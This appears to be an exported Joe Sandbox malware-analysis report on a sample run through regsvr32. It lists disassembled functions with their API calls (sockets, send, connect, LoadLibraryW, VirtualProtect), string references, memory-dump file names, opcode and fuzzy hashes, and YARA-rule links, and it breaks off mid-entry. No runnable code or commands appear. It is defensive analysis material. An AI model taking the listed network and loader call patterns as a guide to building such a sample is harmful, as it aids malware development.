Opcode ID: cf9dbd235df04f6506127272d1b0e8df6090b4df9b7f10edcc6bfe3cb23d38a5
Instruction ID: 1db91eb8142087d0e7e2c0590433a2a22a0fcad73e2c23c270f0e350f50013b9
Opcode Fuzzy Hash: cf9dbd235df04f6506127272d1b0e8df6090b4df9b7f10edcc6bfe3cb23d38a5
Instruction Fuzzy Hash: C791C879E40304ABE721DF64DC44FAF7BBAEB89714F404559F949AB240D770AA40CF51

Function 6C943EE0 Relevance: 34.8, APIs: 23, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ee99675a16ffa57769413852fa67ec9606572c4be06faf0310e7e068666ce80
Instruction ID: 3ab898cbee97acc18aa721aac63296e350ddd1d0293179c885056ab1bf7dc7b4
Opcode Fuzzy Hash: 0ee99675a16ffa57769413852fa67ec9606572c4be06faf0310e7e068666ce80
Instruction Fuzzy Hash: 52B19C71A083468FE710CF28C48075ABBF1BF96308F08896DE9949BB42D375E944CF92

Function 6C944200 Relevance: 31.7, APIs: 21, Instructions: 152COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D912
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D917
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D91C
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D921
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D926
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D92B
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D930
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D935
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D93A
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D93F
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D944
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D94C
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D951
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D956
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D95B
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D960
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D965
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D96A
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D96F
abort.MSVCRT(?,?,6C94832C), ref: 6C94D974
abort.MSVCRT(?,?,6C94832C), ref: 6C94D979

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: de6c290c473e007870593a1b3991c926761cdc51218c2bdd39329fdb6b0011f3
Instruction ID: 76627a21b604af1b5fb827e3ce67486cd5d840e2610777ece7a59a749fdfcbe8
Opcode Fuzzy Hash: de6c290c473e007870593a1b3991c926761cdc51218c2bdd39329fdb6b0011f3
Instruction Fuzzy Hash: B851ADB1A012458FCB00CFA8C4917A9BBF5BB49304F18856AED549F786E335D445CF20

Function 6C945100 Relevance: 28.6, APIs: 19, Instructions: 96COMMON

Download Yara Rule

APIs

Part of subcall function 6C944A90: strlen.MSVCRT ref: 6C944B0D

abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D91C
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D921
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D926
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D92B
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D930
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D935
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D93A
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D93F
abort.MSVCRT(?,?,?,?,00000001,?,6C94436B), ref: 6C94D944
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D94C
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D951
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D956
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D95B
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D960
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D965
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D96A
abort.MSVCRT(?,?,00000008,?,?,00000000,6C9460A4), ref: 6C94D96F
abort.MSVCRT(?,?,6C94832C), ref: 6C94D974
abort.MSVCRT(?,?,6C94832C), ref: 6C94D979

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: abort$strlen
String ID:
API String ID: 2656325428-0
Opcode ID: e44553d7272f7e7cd318aefb1d5762f86a82e1d8b47bfa40a29923cb615d5084
Instruction ID: e93705669adaad55d30cd5d55978fe21e0365816baaba93564f28fe5e5737938
Opcode Fuzzy Hash: e44553d7272f7e7cd318aefb1d5762f86a82e1d8b47bfa40a29923cb615d5084
Instruction Fuzzy Hash: B231EAB020D3C4CEEB12CF3AD4457567FE46796308F148559D7888B782DBBA8708C76A

Function 02634520 Relevance: 27.2, APIs: 18, Instructions: 247threadnetworksleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064), ref: 0263454A
timeGetTime.WINMM ref: 0263456B
GetCurrentThreadId.KERNEL32 ref: 0263458B
InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 026345AD
SwitchToThread.KERNEL32 ref: 026345C7
SetEvent.KERNEL32(?), ref: 02634610
CloseHandle.KERNEL32(?), ref: 02634634
send.WS2_32(?,02647440,00000010,00000000), ref: 02634658
SetEvent.KERNEL32(?), ref: 02634676
InterlockedExchange.KERNEL32(?,00000000), ref: 02634681
WSACloseEvent.WS2_32(?), ref: 0263468F
shutdown.WS2_32(?,00000001), ref: 026346A3
closesocket.WS2_32(?), ref: 026346AD
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000139F), ref: 026346E6
SetLastError.KERNEL32(000005B4), ref: 026346FA
GetCurrentThreadId.KERNEL32 ref: 0263471B
InterlockedExchange.KERNEL32(?,00000001), ref: 02634733

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: EventExchangeInterlockedThread$CloseCurrentErrorLast$CompareHandleSleepSwitchTimeclosesocketsendshutdowntime
String ID:
API String ID: 1692523546-0
Opcode ID: cc80681e8c67637e73b5b2567d1527e9167abf4bdca8c5b56d1f698513dc2524
Instruction ID: becd3d8f6f1baf22febe8908cda28a9951b93e7a51ec2ce5d74be1a26e381865
Opcode Fuzzy Hash: cc80681e8c67637e73b5b2567d1527e9167abf4bdca8c5b56d1f698513dc2524
Instruction Fuzzy Hash: 6391CD75A00612AFC726DF64D888BAAF7B5FF45714F108519E44A8B740CB31F8A1CBD0

Function 6C945240 Relevance: 27.1, APIs: 18, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 088acd37bd3a713edb7e45c284574c4c98f298a09f2d81b90e080a54e6eca424
Instruction ID: b4427c62e3d67c72a6382de97a69ec726517f71ead673faca7b53dd625f4829e
Opcode Fuzzy Hash: 088acd37bd3a713edb7e45c284574c4c98f298a09f2d81b90e080a54e6eca424
Instruction Fuzzy Hash: 4831807160934ACFE310CFA9D48076AB7E5BBC5308F54CA2EE59897B11E375E448CB92

Function 6C945760 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 136COMMON

Download Yara Rule

Strings

@, xrefs: 6C945819

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: strlen
String ID: @
API String ID: 39653677-2766056989
Opcode ID: 4959abcb8968e174813994c793cfa9136a0369d768946d19e3e5bed084c7554a
Instruction ID: ac695a5529ccda6a88f4c8b4f668007f9a5d802f67b2d50a8f551263c1069a4e
Opcode Fuzzy Hash: 4959abcb8968e174813994c793cfa9136a0369d768946d19e3e5bed084c7554a
Instruction Fuzzy Hash: 1B511575A042099FCB10DFA5C880BDEB7B5AB99318F54C5A9D949A7700DB30EE88CF90

Function 6C945390 Relevance: 25.6, APIs: 17, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: f053697617a4af61e89ce275da69e4e2f8eb43ba3e3e8cac62ed4faa79254380
Instruction ID: 5be1698b1de4dca7f35110074b801bca351bb078f12a8f26ed25fe3851916f97
Opcode Fuzzy Hash: f053697617a4af61e89ce275da69e4e2f8eb43ba3e3e8cac62ed4faa79254380
Instruction Fuzzy Hash: 424136B4A093018FD310CF69D48071ABBE5EB89708F10C92EE599CBB10D375D944CB92

Function 02636390 Relevance: 19.6, APIs: 13, Instructions: 117libraryfileloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(026476BC), ref: 026363AC
GetProcAddress.KERNEL32(00000000,026476D4), ref: 026363BE
FreeLibrary.KERNEL32(00000000), ref: 026363CF
_memset.LIBCMT ref: 026363FF
GetLocalTime.KERNEL32(?), ref: 0263640E
wsprintfW.USER32 ref: 02636455
CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000002,00000000,00000000), ref: 02636474
FreeLibrary.KERNEL32(00000000), ref: 02636482
GetCurrentThreadId.KERNEL32 ref: 0263649B
GetCurrentProcessId.KERNEL32(00000000,00000001,?,00000000,00000000), ref: 026364CB
GetCurrentProcess.KERNEL32(00000000,?,00000000,00000000), ref: 026364D2
CloseHandle.KERNEL32(00000000,?,00000000,00000000), ref: 026364E0
FreeLibrary.KERNEL32(00000000,?,00000000,00000000), ref: 026364E7

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: Library$CurrentFree$Process$AddressCloseCreateFileHandleLoadLocalProcThreadTime_memsetwsprintf
String ID:
API String ID: 3529074497-0
Opcode ID: a24e9e8923ae01ec4966aa2bfede903709046789b4cc424bf6190427ca67d109
Instruction ID: d13d631100e879f2c9c689866e8d20d37f52999be9c3a4c882f971c140f79b68
Opcode Fuzzy Hash: a24e9e8923ae01ec4966aa2bfede903709046789b4cc424bf6190427ca67d109
Instruction Fuzzy Hash: DA412B79D80228BBD7209F64EC4CBBEB7B8EF58B10F500599F94A96180DB745990CBA4

Function 6C9459B0 Relevance: 19.6, APIs: 13, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd34584560973e336ae1521f29c27fa0068d46a18c8e27656b340b26851b4eef
Instruction ID: ef9ddf2f0367814595ae9b1916dd10527bedb3502225c07fed6f9a4bd415fc4b
Opcode Fuzzy Hash: bd34584560973e336ae1521f29c27fa0068d46a18c8e27656b340b26851b4eef
Instruction Fuzzy Hash: E3214A75A002089FCB14DFA4D880ADEB7B5BF95304F10C569DC4967700EB30EE49CB91

Function 6C8FAA00 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 294libraryloaderCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C8FAAAC
GetFullPathNameW.KERNEL32(?,00000000,00000002,00000000,00000000), ref: 6C8FAABB
GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,?,00000000,00000002,00000000,00000000), ref: 6C8FAAC6
GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,?,00000000,00000002,00000000,00000000), ref: 6C8FAADB
memcmp.MSVCRT(?,100FF214,E8558CFB,?,00000000,00000002,00000000,00000000), ref: 6C8FAB4C
GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,?,00000000,00000002,00000000,00000000), ref: 6C8FAB7F
memcpy.MSVCRT(00000002,?,00000002,00000002,00000000,00000000), ref: 6C8FAC1F
GetModuleHandleA.KERNEL32(kernel32,?,?,?,00000000,?,?,?,00000002,00000000,00000000), ref: 6C8FAD58
GetProcAddress.KERNEL32(00000000,SetThreadDescription), ref: 6C8FAD67

Part of subcall function 6C85AC40: HeapFree.KERNEL32(00000000,0000000C), ref: 6C8E9FA8

Strings

kernel32, xrefs: 6C8FAD53
SetThreadDescription, xrefs: 6C8FAD61

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: ErrorLast$AddressFreeFullHandleHeapModuleNamePathProcmemcmpmemcpy
String ID: SetThreadDescription$kernel32
API String ID: 356422747-1950310818
Opcode ID: 14ae7c20b3de3db6af48975db04750b7eaa42a35009c19ca83ea20782fd32c2a
Instruction ID: 46d909dda3264ef4269f521674fd7054f8b974b8240720b590e30c4a8a9408e6
Opcode Fuzzy Hash: 14ae7c20b3de3db6af48975db04750b7eaa42a35009c19ca83ea20782fd32c2a
Instruction Fuzzy Hash: ADA1F771E01205AFEB208F68DE85BEEB7F8AF14768F244824E814E7741E771DD158BA1

Function 04F85BA5 Relevance: 19.5, APIs: 4, Strings: 7, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04F85C2D
_memset.LIBCMT ref: 04F85D4E
_memset.LIBCMT ref: 04F85D72
_memset.LIBCMT ref: 04F85D84

Strings

., xrefs: 04F85D1F
_, xrefs: 04F85D33
l, xrefs: 04F85D29
e, xrefs: 04F85BC1
i, xrefs: 04F85D3D
{vU_, xrefs: 04F85D0B
!jWW, xrefs: 04F85D15

Memory Dump Source

Source File: 00000007.00000002.2918694072.0000000004F80000.00000040.00000020.00020000.00000000.sdmp, Offset: 04F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f80000_regsvr32.jbxd

Yara matches

Similarity

API ID: _memset
String ID: !jWW$.$_$e$i$l${vU_
API String ID: 2102423945-159827627
Opcode ID: a8fc06458b62c315747c6bbdeb4651bf35221ba8392fa4a222c40d994eed00a2
Instruction ID: 23a0b90ebf42cde74fd678a392edfc6d9c6a6780f20df2d870585fedd9e67053
Opcode Fuzzy Hash: a8fc06458b62c315747c6bbdeb4651bf35221ba8392fa4a222c40d994eed00a2
Instruction Fuzzy Hash: 0791A675A40304BBE720EF60DC44FEA7BB9EB85704F508159F9099F280D775AA41CFA5

Function 6C8934D0 Relevance: 18.2, APIs: 1, Strings: 11, Instructions: 237COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C8934F1

Strings

(, xrefs: 6C89386E
(, xrefs: 6C8938F7
(, xrefs: 6C893722
(, xrefs: 6C89382E
(, xrefs: 6C8937A8
(, xrefs: 6C89375F
(, xrefs: 6C89393B
(, xrefs: 6C8938C7
(, xrefs: 6C893919
(, xrefs: 6C8937E5
(, xrefs: 6C893700

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: memset
String ID: ($($($($($($($($($($(
API String ID: 2221118986-3337016023
Opcode ID: b40a8ae007ee8b51ade550ecaa414e76319589547d4e46e3f03c8fca436107c0
Instruction ID: 23424a356068af353f7dc6aa85b47f08cd0084a862dee7336d24bd8e08951271
Opcode Fuzzy Hash: b40a8ae007ee8b51ade550ecaa414e76319589547d4e46e3f03c8fca436107c0
Instruction Fuzzy Hash: 5AC1AD71C0A7988AEB21CF18C8457EDBBB0BF95308F14959CD9882B352DB715A89CF91

Function 026336D0 Relevance: 18.1, APIs: 12, Instructions: 141networkstringCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 026336F0
WSAIoctl.WS2_32(00000000,9800000C,?,00000004,00000000,00000000,?,00000000,00000000), ref: 02633729
WSACreateEvent.WS2_32 ref: 0263375B
lstrlenW.KERNEL32(?,00000000,00000000,00000000,00000000,?,?,?,?,?,0264DA88), ref: 0263376D
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000,?,?,?,?,?,0264DA88), ref: 02633779
lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,?,?,?,?,?,0264DA88), ref: 02633798
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000,?,?,?,?,?,?,0264DA88), ref: 026337A4
gethostbyname.WS2_32(00000000), ref: 026337B2
htons.WS2_32(?), ref: 026337D8
WSAEventSelect.WS2_32(?,?,00000030), ref: 026337F6
connect.WS2_32(?,?,00000010), ref: 0263380B
WSAGetLastError.WS2_32(?,?,?,?,?,?,?,0264DA88), ref: 0263381A

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: ByteCharEventMultiWidelstrlen$CreateErrorIoctlLastSelectconnectgethostbynamehtonssocket
String ID:
API String ID: 1463362053-0
Opcode ID: c7e3700f0ef3b4c8b30f6d3f29a1ffa67155c80f1ff3ea40402055d4547b4231
Instruction ID: 3e9852b3317c3255c85a94fc32d58fd4be7f01d6a227c8227e2d73d297a5948e
Opcode Fuzzy Hash: c7e3700f0ef3b4c8b30f6d3f29a1ffa67155c80f1ff3ea40402055d4547b4231
Instruction Fuzzy Hash: 74419DB5A40245ABE720DBA4DC89F7FB7B8EF48710F504619FA52972C0C770A950CBA4

Function 6C94CDF0 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 131filememoryCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 6C94CE1F
vfprintf.MSVCRT ref: 6C94CE3F
abort.MSVCRT ref: 6C94CE44
VirtualQuery.KERNEL32 ref: 6C94CEDD
VirtualProtect.KERNEL32 ref: 6C94CF43
GetLastError.KERNEL32 ref: 6C94CF50

Strings

VirtualProtect failed with code 0x%x, xrefs: 6C94CF56
Mingw-w64 runtime failure:, xrefs: 6C94CE18
VirtualQuery failed for %d bytes at address %p, xrefs: 6C94CF87
Address %p has no image-section, xrefs: 6C94CF9B

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQueryabortfwritevfprintf
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 1616349570-1534286854
Opcode ID: be0a6309edb185d0e6c65b76495ad6d713a11f9f541b5e72474def670142bc10
Instruction ID: 3e54bdaa26c9dfc6643dce01af5174313a10d40dd0a886c865bfdd8b28efd61e
Opcode Fuzzy Hash: be0a6309edb185d0e6c65b76495ad6d713a11f9f541b5e72474def670142bc10
Instruction Fuzzy Hash: 845157B1A093019FC700EF69D48465AFBF4FB99318F14CA5DE8889B715E734E948CB92

Function 6C86ED20 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 124COMMON

Download Yara Rule

APIs

realloc.MSVCRT ref: 6C86ED44
GetAdaptersAddresses.IPHLPAPI(00000000,0000000E,00000000,00000000,00003C00), ref: 6C86ED61
free.MSVCRT ref: 6C86EDD0
